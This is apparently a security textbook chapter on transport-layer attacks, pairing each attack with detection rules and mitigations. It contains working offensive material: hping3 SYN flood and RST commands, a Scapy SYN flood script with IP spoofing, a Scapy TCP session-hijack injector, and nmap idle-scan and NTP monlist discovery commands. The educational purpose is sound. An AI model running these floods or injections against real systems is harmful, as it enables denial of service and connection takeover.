Part II: Vulnerability Study Chapter 4

Transport Layer Exploits

TCP attacks, SYN floods, session hijacking, port scanning, QUIC security, and transport layer defense strategies

Chapter 4: Transport Layer Exploits

The Morris Worm’s TCP Legacy

On November 2, 1988, a graduate student named Robert Morris released what would become the first major internet worm. The Morris Worm exploited several vulnerabilities, but one key technique relied on TCP sequence number predictionβ€”guessing the next TCP sequence number to inject packets into trusted connections.

The worm spread faster than anticipated, crashing approximately 6,000 computersβ€”about 10% of the internet at the time. Morris became the first person convicted under the Computer Fraud and Abuse Act.

This incident catalyzed fundamental changes to TCP implementation. The predictable sequence number patterns that enabled the attack were replaced with randomized initial sequence numbers in BSD 4.4 and subsequent systems. Today’s attacks against TCP have evolved, but they still exploit the protocol’s inherent design: its trust in sequence numbers, its stateful nature, and its resource-heavy connection management.

This chapter explores how attackers exploit the transport layerβ€”from SYN floods that exhaust server resources to session hijacking that steals established connections.


Transport Layer Attack Surface

The transport layer (Layer 4) manages end-to-end communication, providing reliability (TCP) or speed (UDP). Its stateful nature creates opportunities for resource exhaustion and session manipulation.

Transport Layer Attack Surface

Transport Layer Attack Surface:
═══════════════════════════════════════════════════════════════════

β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”
β”‚                         TCP ATTACKS                             β”‚
β”œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€
β”‚  CONNECTION ATTACKS     β”‚  SESSION ATTACKS      β”‚  SCANNING     β”‚
β”‚  ────────────────────   β”‚  ─────────────────    β”‚  ───────────  β”‚
β”‚  β€’ SYN Flood            β”‚  β€’ Session Hijacking  β”‚  β€’ Port Scan  β”‚
β”‚  β€’ SYN-ACK Reflection   β”‚  β€’ RST Injection      β”‚  β€’ OS Detect  β”‚
β”‚  β€’ Connection Exhaust   β”‚  β€’ Data Injection     β”‚  β€’ Service ID β”‚
β”‚  β€’ ACK Flood            β”‚  β€’ Sequence Predict   β”‚  β€’ Firewall   β”‚
β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜

β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”
β”‚                         UDP ATTACKS                             β”‚
β”œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€
β”‚  β€’ UDP Flood                                                    β”‚
β”‚  β€’ Amplification Attacks (DNS, NTP, SSDP, memcached)            β”‚
β”‚  β€’ UDP-based service exploitation                               β”‚
β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜

β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”
β”‚                      MODERN PROTOCOLS                           β”‚
β”œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€
β”‚  QUIC Security Considerations                                   β”‚
β”‚  β€’ Connection ID tracking                                       β”‚
β”‚  β€’ 0-RTT replay attacks                                         β”‚
β”‚  β€’ Amplification limits                                         β”‚
β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜

MITRE ATT&CK Reference

Transport layer attacks map to:

  • T1498 - Network Denial of Service
  • T1498.001 - Direct Network Flood
  • T1498.002 - Reflection Amplification
  • T1557 - Adversary-in-the-Middle
  • T1046 - Network Service Discovery

TCP Three-Way Handshake Review

Understanding TCP’s connection establishment is essential for attack comprehension:

TCP ThreeWay Handshake

TCP Three-Way Handshake:
═══════════════════════════════════════════════════════════════════

Client                                                Server
  β”‚                                                      β”‚
  β”‚  1. SYN (seq=x)                                      β”‚
  │─────────────────────────────────────────────────────►│
  β”‚     "I want to connect, my sequence number is X"     β”‚
  β”‚                                                      β”‚
  β”‚                                                      β”‚ Server allocates
  β”‚                                                      β”‚ resources for
  β”‚                                                      β”‚ half-open connection
  β”‚                                                      β”‚
  β”‚  2. SYN-ACK (seq=y, ack=x+1)                         β”‚
  │◄─────────────────────────────────────────────────────│
  β”‚     "OK, my sequence is Y, I acknowledge your X"     β”‚
  β”‚                                                      β”‚
  β”‚  3. ACK (ack=y+1)                                    β”‚
  │─────────────────────────────────────────────────────►│
  β”‚     "Connection established"                         β”‚
  β”‚                                                      β”‚ Connection complete
  β”‚                                                      β”‚ Full state stored
  β”‚                                                      β”‚
  │◄═══════════ ESTABLISHED CONNECTION ═════════════════►│

Resource Implications:

StateClient ResourcesServer Resources
After SYN sentMinimalHalf-open connection stored
After SYN-ACK receivedMinimalStill half-open
After ACK sentFull connectionFull connection

This asymmetryβ€”where the server commits resources before the clientβ€”enables SYN flood attacks.


SYN Flood Attack

Attack Overview

SYN flood exploits TCP’s handshake by sending massive numbers of SYN packets without completing connections. The server exhausts resources maintaining half-open connections.

SYN Flood Attack

SYN Flood Attack:
═══════════════════════════════════════════════════════════════════

NORMAL: Client sends SYN β†’ Server replies SYN-ACK β†’ Client sends ACK
        Connection completes, resources freed for new connections

ATTACK: Attacker floods server with SYN packets (usually spoofed source)
        
Attacker ─── SYN (src=1.1.1.1) ───►  β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”
         ─── SYN (src=2.2.2.2) ───►  β”‚         β”‚
         ─── SYN (src=3.3.3.3) ───►  β”‚ SERVER  β”‚ ◄─── SYN-ACKs sent to
         ─── SYN (src=4.4.4.4) ───►  β”‚         β”‚      spoofed addresses
         ─── SYN (src=5.5.5.5) ───►  β”‚ Backlog β”‚      (never replied)
         ─── (thousands more) ────►  β”‚  FULL!  β”‚
                                     β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜

Server's SYN backlog fills with half-open connections
No room for legitimate connections
Service effectively denied

Server Half-Open Table (SYN_RECEIVED state):
β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”¬β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”¬β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”¬β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”
β”‚   Source IP    β”‚   Source Port  β”‚ Timestamp β”‚  Retries β”‚
β”œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”Όβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”Όβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”Όβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€
β”‚   1.1.1.1      β”‚     12345      β”‚ 10:00:01  β”‚    0     β”‚
β”‚   2.2.2.2      β”‚     12346      β”‚ 10:00:01  β”‚    0     β”‚
β”‚   3.3.3.3      β”‚     12347      β”‚ 10:00:02  β”‚    0     β”‚
β”‚   ... (64,000+ entries) ...                            β”‚
β”‚   BACKLOG FULL - LEGITIMATE CONNECTIONS DROPPED        β”‚
β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜

Attack Variations

VariationDescriptionDetection Difficulty
Basic SYN FloodSingle source, many SYNsEasy (rate limit source)
Spoofed SYN FloodRandom/spoofed sourcesMedium (no single source)
Distributed SYN FloodMany real sources (botnet)Hard (legitimate-looking)
SYN-ACK ReflectionSpoof victim, send SYNs to reflectorsMedium (third-party traffic)

Practical Implementation

Using hping3:

# Basic SYN flood
sudo hping3 -S -p 80 --flood 192.168.1.100
# -S = SYN flag, --flood = fast as possible

# SYN flood with random source IPs
sudo hping3 -S -p 80 --flood --rand-source 192.168.1.100

# Distributed across port range
sudo hping3 -S -p ++80 --flood 192.168.1.100
# ++80 = increment port from 80

Using Scapy:

#!/usr/bin/env python3
"""
SYN Flood Demonstration - AUTHORIZED USE ONLY
Educational tool showing TCP SYN flood mechanics
"""
from scapy.all import IP, TCP, send, RandShort, RandIP
import argparse

def syn_flood(target, port, count=1000, spoof=False):
    """
    Send SYN packets to target
    
    Args:
        target: Target IP address
        port: Target port
        count: Number of SYN packets
        spoof: Whether to spoof source IP
    """
    print(f"[*] SYN Flood targeting {target}:{port}")
    print(f"[*] Sending {count} SYN packets")
    print(f"[*] Source spoofing: {'Enabled' if spoof else 'Disabled'}")
    print("[!] Educational use only!\n")
    
    for i in range(count):
        if spoof:
            # Random source IP and port
            src_ip = RandIP()
            src_port = RandShort()
        else:
            src_ip = None  # Use real source
            src_port = RandShort()
        
        # Build SYN packet
        packet = IP(src=src_ip, dst=target) / TCP(
            sport=src_port,
            dport=port,
            flags='S',       # SYN flag
            seq=RandShort()  # Random sequence number
        )
        
        send(packet, verbose=False)
        
        if (i + 1) % 100 == 0:
            print(f"[*] Sent {i + 1} packets...")
    
    print(f"[+] Flood complete. Sent {count} SYN packets.")

if __name__ == "__main__":
    parser = argparse.ArgumentParser(description="SYN Flood Demo")
    parser.add_argument("target", help="Target IP")
    parser.add_argument("-p", "--port", type=int, default=80)
    parser.add_argument("-c", "--count", type=int, default=1000)
    parser.add_argument("-s", "--spoof", action="store_true")
    args = parser.parse_args()
    
    print("[!] WARNING: SYN Flooding is illegal without authorization!")
    syn_flood(args.target, args.port, args.count, args.spoof)

Detection

On Target Server:

# Check for SYN_RECEIVED connections
netstat -ant | grep SYN_RECEIVED | wc -l

# Watch connection states
watch -n 1 'netstat -ant | grep -c SYN_RECV'

# High count indicates potential SYN flood
# Normal: 0-10, Attack: hundreds/thousands

Using tcpdump/Wireshark:

# Capture SYN packets
sudo tcpdump -i eth0 'tcp[tcpflags] & tcp-syn != 0' -nn

# Look for:
# - High rate of SYN packets
# - Many different source IPs
# - No corresponding ACKs
# - SYN packets without follow-up traffic

IDS Rules:

# Snort - SYN flood detection
alert tcp any any -> $HOME_NET any (msg:"Possible SYN Flood"; 
    flags:S,12; threshold:type both, track by_dst, count 100, seconds 10; 
    sid:1000020; rev:1;)

Mitigation

SYN Cookies:

SYN Cookies Stateless SYN Handling

SYN Cookies - Stateless SYN Handling:
═══════════════════════════════════════════════════════════════════

NORMAL (Stateful):
Server receives SYN β†’ Stores state β†’ Sends SYN-ACK β†’ Waits for ACK

WITH SYN COOKIES (Stateless):
Server receives SYN β†’ NO state stored
                   β†’ Encodes state INTO sequence number
                   β†’ Sends SYN-ACK with encoded ISN
                   
If ACK arrives:
β†’ Decode sequence number
β†’ Verify legitimate connection
β†’ THEN allocate resources

Encoding: ISN = hash(src_ip, src_port, dst_ip, dst_port, secret) + timestamp

Benefits:
- No memory consumed for half-open connections
- Only legitimate completers get resources
- Transparent to legitimate clients

Linux Configuration:

# Enable SYN cookies
echo 1 > /proc/sys/net/ipv4/tcp_syncookies

# Permanent (sysctl.conf)
net.ipv4.tcp_syncookies = 1

# Additional tuning
net.ipv4.tcp_max_syn_backlog = 4096     # Increase backlog
net.ipv4.tcp_synack_retries = 2         # Reduce retries
net.ipv4.tcp_syn_retries = 2
net.ipv4.tcp_fin_timeout = 30           # Faster cleanup

Firewall Rate Limiting:

# iptables - Rate limit SYN packets
iptables -A INPUT -p tcp --syn -m limit --limit 10/s --limit-burst 20 -j ACCEPT
iptables -A INPUT -p tcp --syn -j DROP

# Per-source limiting
iptables -A INPUT -p tcp --syn -m connlimit --connlimit-above 20 -j DROP

Hardware/Cloud Protection:

SolutionDescription
Load BalancersAbsorb and distribute attack traffic
CDN/DDoS ProtectionCloudflare, AWS Shield, Akamai
Hardware FirewallsDedicated ASICs for packet filtering
ISP FilteringUpstream scrubbing services

TCP Session Hijacking

Attack Overview

Session hijacking allows an attacker to take over an established TCP connection by predicting or obtaining sequence numbers and injecting packets.

TCP Session Hijacking

TCP Session Hijacking:
═══════════════════════════════════════════════════════════════════

ESTABLISHED CONNECTION:
Client ◄═══════════════════════════════════════════════► Server
(192.168.1.100:12345)                            (10.0.0.1:80)
         seq=1000, ack=5000         seq=5000, ack=1000

ATTACKER REQUIREMENTS:
1. Know source/destination IPs and ports
2. Know (or guess) current sequence numbers
3. Be able to send spoofed packets

ATTACK:
Attacker injects packet with:
- Source: 192.168.1.100:12345 (spoofed as client)
- Dest: 10.0.0.1:80
- seq=1000 (matches expected)
- Malicious payload

Server accepts injected data as legitimate!

    Client ──────────────────────────────────────► Server
              (legitimate traffic)                   β”‚
                                                     β”‚
    Attacker ─── Spoofed Injection β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜
              (pretending to be client)

Blind vs Non-Blind Hijacking

TypeAttacker PositionDifficultyCapability
Non-BlindOn-path (can see traffic)EasierFull bidirectional control
BlindOff-path (can’t see traffic)HarderInjection only, can’t see responses

Non-Blind Hijacking (On-Path)

When attacker can observe traffic (e.g., after ARP spoofing):

#!/usr/bin/env python3
"""
TCP Session Hijacking (On-Path) - AUTHORIZED USE ONLY
Demonstrates injecting data into observed TCP session
"""
from scapy.all import *
import argparse

def hijack_session(interface, client_ip, server_ip, server_port):
    """
    Monitor for TCP session and inject data
    Requires MITM position (e.g., ARP spoofing active)
    """
    
    def process_packet(pkt):
        if pkt.haslayer(TCP) and pkt.haslayer(IP):
            ip = pkt[IP]
            tcp = pkt[TCP]
            
            # Look for server -> client packets
            if ip.src == server_ip and ip.dst == client_ip:
                if tcp.sport == server_port:
                    # Calculate injection parameters
                    inject_seq = tcp.ack  # Our seq = their ack
                    inject_ack = tcp.seq + len(tcp.payload)
                    
                    print(f"[*] Found session - seq: {inject_seq}, ack: {inject_ack}")
                    
                    # Inject data as if from client
                    inject_packet = (
                        IP(src=client_ip, dst=server_ip) /
                        TCP(
                            sport=tcp.dport,
                            dport=server_port,
                            seq=inject_seq,
                            ack=inject_ack,
                            flags='PA'  # PSH+ACK
                        ) /
                        Raw(load="INJECTED DATA\r\n")
                    )
                    
                    send(inject_packet, verbose=False)
                    print("[+] Injected packet sent!")
    
    print(f"[*] Monitoring for {client_ip} <-> {server_ip}:{server_port}")
    sniff(iface=interface, prn=process_packet, 
          filter=f"tcp and host {server_ip}", store=0)

if __name__ == "__main__":
    print("[!] TCP Session Hijacking - Educational Use Only!")
    print("[!] Requires MITM position (run ARP spoof first)")

Blind Hijacking Challenges

Without seeing traffic, the attacker must guess sequence numbers:

Blind Hijacking Sequence Number Challenge

Blind Hijacking Sequence Number Challenge:
═══════════════════════════════════════════════════════════════════

TCP Sequence Space: 0 to 4,294,967,295 (2^32)

HISTORICAL (Pre-1995):
- Predictable ISN generation
- ISN incremented by fixed amount per time interval
- Attacker could predict future ISN

MODERN (RFC 6528):
- Randomized ISN generation
- Cryptographic hash of connection parameters + secret
- ISN = H(src_ip, src_port, dst_ip, dst_port, secret_key)

Blind injection now requires:
- Guessing 32-bit sequence number (1 in 4 billion)
- Hitting receive window (typically 64KB-1MB)
- Practical success rate: ~0.001% per packet

Challenge Mitigation: Still useful for RST injection (easier)

TCP Reset (RST) Attack

Easier than full hijackingβ€”just need to be in sequence window:

TCP RST Attack

TCP RST Attack:
═══════════════════════════════════════════════════════════════════

Attacker doesn't need to maintain sessionβ€”just terminate it

Requirements (less strict):
- Know connection 4-tuple (IPs and ports)
- Guess sequence number within receive window

Send spoofed RST:
β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”
β”‚ IP: src=client, dst=server                                   β”‚
β”‚ TCP: sport=client_port, dport=server_port                    β”‚
β”‚      seq=any_value_in_window, flags=RST                      β”‚
β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜

Server receives RST β†’ Connection terminated immediately

Used for:
- Censorship (Great Firewall of China)
- Disrupting specific connections
- DoS against persistent connections (BGP, database)

Using hping3:

# Send RST to terminate connection
# Need to know/guess sequence number range
sudo hping3 -R -s 12345 -p 80 -M 1000000 192.168.1.100
# -R = RST, -M = sequence number

# Scan sequence number space (for research)
for seq in $(seq 0 65535 4294967295); do
    sudo hping3 -R -s 12345 -p 80 -M $seq -c 1 192.168.1.100
done

Detection

Indicators of Session Hijacking:

  • Unexpected connection resets
  • Duplicate/overlapping sequence numbers
  • Traffic from unexpected source MACs (if on-path)
  • Application-layer anomalies (unexpected commands)

Monitoring:

# Watch for RST packets
tcpdump -i eth0 'tcp[tcpflags] & tcp-rst != 0' -nn

# Look for sequence number anomalies
# In Wireshark: Analyze β†’ Expert Information β†’ check for retransmissions

Mitigation

Encryption (Primary Defense):

TLS/HTTPS prevents content injection
Attacker can still RST, but can't inject meaningful data

TCP MD5 Signature (RFC 2385):

! Cisco IOS - TCP MD5 for BGP
router bgp 65001
  neighbor 10.0.0.1 password SecretKey123
  
# Adds MD5 hash to TCP header
# Both ends must know the key
# Invalid hash = packet dropped

TCP Authentication Option (TCP-AO, RFC 5925):

# Modern replacement for TCP MD5
# Supports multiple algorithms, key rollover
# Primarily used for BGP protection

TCP Stack Fingerprinting

Overview

Different operating systems implement TCP slightly differently. By analyzing responses to various TCP packets, attackers can identify the target’s OS.

TCP/IP Stack Fingerprinting Probes

TCP/IP Stack Fingerprinting Probes:
═══════════════════════════════════════════════════════════════════

PROBE TYPE              WHAT IT REVEALS
─────────────────────────────────────────────────────────────────
FIN to closed port      How OS handles unexpected FIN
SYN to closed port      RST format varies by OS
NULL/FIN/Xmas scans     Different OSes respond differently
Window size             Initial window varies by OS
TTL value               Default TTL varies (64, 128, 255)
DF bit                  Don't Fragment setting
IP ID patterns          Sequential vs random
TCP options order       Order of options in SYN
TCP timestamp           Uptime can be calculated

Using Nmap for OS Detection

# OS detection scan
sudo nmap -O 192.168.1.100

# Aggressive OS detection
sudo nmap -O --osscan-guess 192.168.1.100

# Version detection (services)
sudo nmap -sV 192.168.1.100

# Combined
sudo nmap -A 192.168.1.100  # OS + version + scripts + traceroute

Sample Output:

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9 (Ubuntu Linux)
80/tcp open  http    Apache httpd 2.4.52

OS details: Linux 5.15 - 5.19
Network Distance: 2 hops

Uptime guess: 12.345 days (since Mon Jan 08 10:23:45 2024)

Detection and Mitigation

Obfuscating TCP Fingerprint:

# Linux - Normalize TCP behavior
# /etc/sysctl.conf
net.ipv4.tcp_timestamps = 0  # Hide uptime
net.ipv4.ip_default_ttl = 64  # Standardize TTL

Using OSfuscate/IP Personality:

# Tools that modify TCP/IP stack responses
# Make Linux look like Windows, etc.

Port Scanning Techniques

Scan Types

Port Scanning Techniques

Port Scanning Techniques:
═══════════════════════════════════════════════════════════════════

TCP CONNECT SCAN (-sT):
────────────────────────
Full 3-way handshake
Reliable but logged

SYN ────►
    ◄──── SYN-ACK (open) or RST (closed)
ACK ────►
RST ────► (after ACK to close)


TCP SYN SCAN (-sS) "Stealth":
──────────────────────────────
Half-open - doesn't complete connection
Often evades connection logs

SYN ────►
    ◄──── SYN-ACK (open) or RST (closed)
RST ────► (abort, no connection logged)


TCP FIN/NULL/XMAS SCANS:
────────────────────────
Exploit RFC 793 compliance
May bypass stateless firewalls

FIN ────► (or no flags, or FIN+PSH+URG)
    ◄──── RST (closed) or silence (open/filtered)


UDP SCAN (-sU):
────────────────
Send UDP packet
ICMP port unreachable = closed
Silence = open or filtered (unreliable)


ACK SCAN (-sA):
────────────────
Doesn't find open ports
Maps firewall rules (filtered vs unfiltered)

ACK ────►
    ◄──── RST (unfiltered) or silence (filtered)

Advanced Scanning

Idle Scan (Zombie Scan):

Idle Scan Ultimate Stealth

Idle Scan - Ultimate Stealth:
═══════════════════════════════════════════════════════════════════

Uses "zombie" host with predictable IP ID

1. Probe zombie, record IP ID (e.g., 1000)

2. Send SYN to target with SPOOFED source = zombie IP
   
3a. If target port OPEN:
    Target sends SYN-ACK to zombie
    Zombie sends RST (unsolicited)
    Zombie's IP ID increments
    
3b. If target port CLOSED:
    Target sends RST to zombie
    Zombie ignores (no response)
    Zombie's IP ID unchanged

4. Probe zombie again
   IP ID = 1001 β†’ port was open
   IP ID = 1000 β†’ port was closed

Attacker never sends packet TO target with own IP!
# Nmap idle scan
sudo nmap -sI zombie_ip target_ip

Detection

Network-Based:

# Watch for scan patterns
tcpdump -i eth0 'tcp[tcpflags] & (tcp-syn) != 0' -nn | \
  awk '{print $3}' | cut -d. -f5 | sort | uniq -c | sort -rn
# Shows ports being probed

Host-Based:

# Failed connection attempts
grep "refused" /var/log/messages
journalctl | grep "SYN"

IDS Rules:

# Snort - Port scan detection
alert tcp any any -> $HOME_NET any (msg:"Port Scan Detected";
    flags:S; threshold:type threshold, track by_src, count 10, seconds 60;
    classtype:attempted-recon; sid:1000030;)

Mitigation

# Rate limit new connections
iptables -A INPUT -p tcp --syn -m recent --name portscan --update \
  --seconds 60 --hitcount 10 -j DROP
iptables -A INPUT -p tcp --syn -m recent --name portscan --set

# Port knocking (obscurity, not security)
# Require specific port sequence before SSH opens

UDP Attacks

UDP Amplification Attacks

UDP’s connectionless nature enables powerful amplification attacks where small requests generate large responses.

UDP Amplification Concept

UDP Amplification Concept:
═══════════════════════════════════════════════════════════════════

         Attacker                 Amplifier              Victim
            β”‚                        β”‚                      β”‚
            β”‚  Small request         β”‚                      β”‚
            β”‚  (src = victim IP)     β”‚                      β”‚
            │───────────────────────►│                      β”‚
            β”‚  40 bytes              β”‚                      β”‚
            β”‚                        β”‚                      β”‚
            β”‚                        β”‚  Large response      β”‚
            β”‚                        │─────────────────────►│
            β”‚                        β”‚  3,000 bytes         β”‚
            β”‚                        β”‚  (to spoofed src)    β”‚
                                     
Amplification Factor = Response Size / Request Size
                     = 3000 / 40 = 75x

Amplification Vectors

ProtocolPortAmplification FactorCommon BAF
memcached11211Up to 51,000xHighest known
NTP123556x (monlist)Very high
DNS5328-54xHigh
SSDP190030xMedium-High
SNMP1616xMedium
Chargen19VariableLegacy
LDAP38946-55xHigh

NTP Amplification Example

# Find NTP servers with monlist enabled
nmap -sU -p 123 -n --script ntp-monlist <target_range>

# Attack concept (DO NOT EXECUTE):
# 1. Spoof victim IP as source
# 2. Send monlist request to vulnerable NTP servers
# 3. Servers send large response to victim

Mitigation

Disable Amplification Features:

# NTP - Disable monlist
# /etc/ntp.conf
disable monitor
restrict default noquery

# DNS - Disable recursion for external
# named.conf
options {
    recursion no;
    allow-query { trusted; };
};

# memcached - Disable UDP or bind localhost
# -U 0 (disable UDP)
memcached -l 127.0.0.1 -U 0

Network Defense:

# Block spoofed traffic (BCP 38)
# Rate limit UDP services
iptables -A INPUT -p udp --dport 123 -m limit --limit 10/s -j ACCEPT
iptables -A INPUT -p udp --dport 123 -j DROP

QUIC Security Considerations

QUIC Overview

QUIC (Quick UDP Internet Connections) is a modern transport protocol used by HTTP/3. Built on UDP, it provides built-in encryption and improved performance.

QUIC Security Features

QUIC Security Features:
═══════════════════════════════════════════════════════════════════

BUILT-IN ENCRYPTION:
- All payloads encrypted (TLS 1.3 integrated)
- Connection IDs prevent tracking (unlike TCP ports)
- No cleartext metadata after handshake

COMPARED TO TCP+TLS:
β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”¬β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”
β”‚  TCP + TLS              β”‚  QUIC                                β”‚
β”œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”Όβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€
β”‚  TCP header visible     β”‚  Only Connection ID visible          β”‚
β”‚  TLS negotiation visibleβ”‚  All encrypted from start            β”‚
β”‚  3-way handshake + TLS  β”‚  0-RTT possible                      β”‚
β”‚  Head-of-line blocking  β”‚  Independent streams                 β”‚
β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”΄β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜

QUIC Attack Considerations

0-RTT Replay Attacks:

QUIC 0RTT Vulnerability

QUIC 0-RTT Vulnerability:
═══════════════════════════════════════════════════════════════════

0-RTT allows data in first packet (for returning clients)
BUT: 0-RTT data can be replayed by attacker

Attacker captures 0-RTT packet:
β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”
β”‚ QUIC Initial + 0-RTT: "GET /purchase?item=123&quantity=1"        β”‚
β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜

Attacker replays β†’ Server processes again β†’ Double purchase

Mitigation:
- Server must track 0-RTT requests (prevent replay)
- Don't use 0-RTT for non-idempotent operations
- Applications must handle replay at app layer

Amplification Limits:

QUIC anti-amplification:
- Server response limited to 3x client initial
- Until client address validated
- Prevents UDP amplification abuse

QUIC Blocking/Detection

# QUIC uses UDP 443 (primarily)
# Block QUIC to force fallback to TCP/TLS
iptables -A OUTPUT -p udp --dport 443 -j DROP

# Detect QUIC traffic
tcpdump -i eth0 'udp port 443' -nn

Lab Exercise: Transport Layer Attack Analysis

Objective

Observe and analyze SYN flood behavior and detection methods.

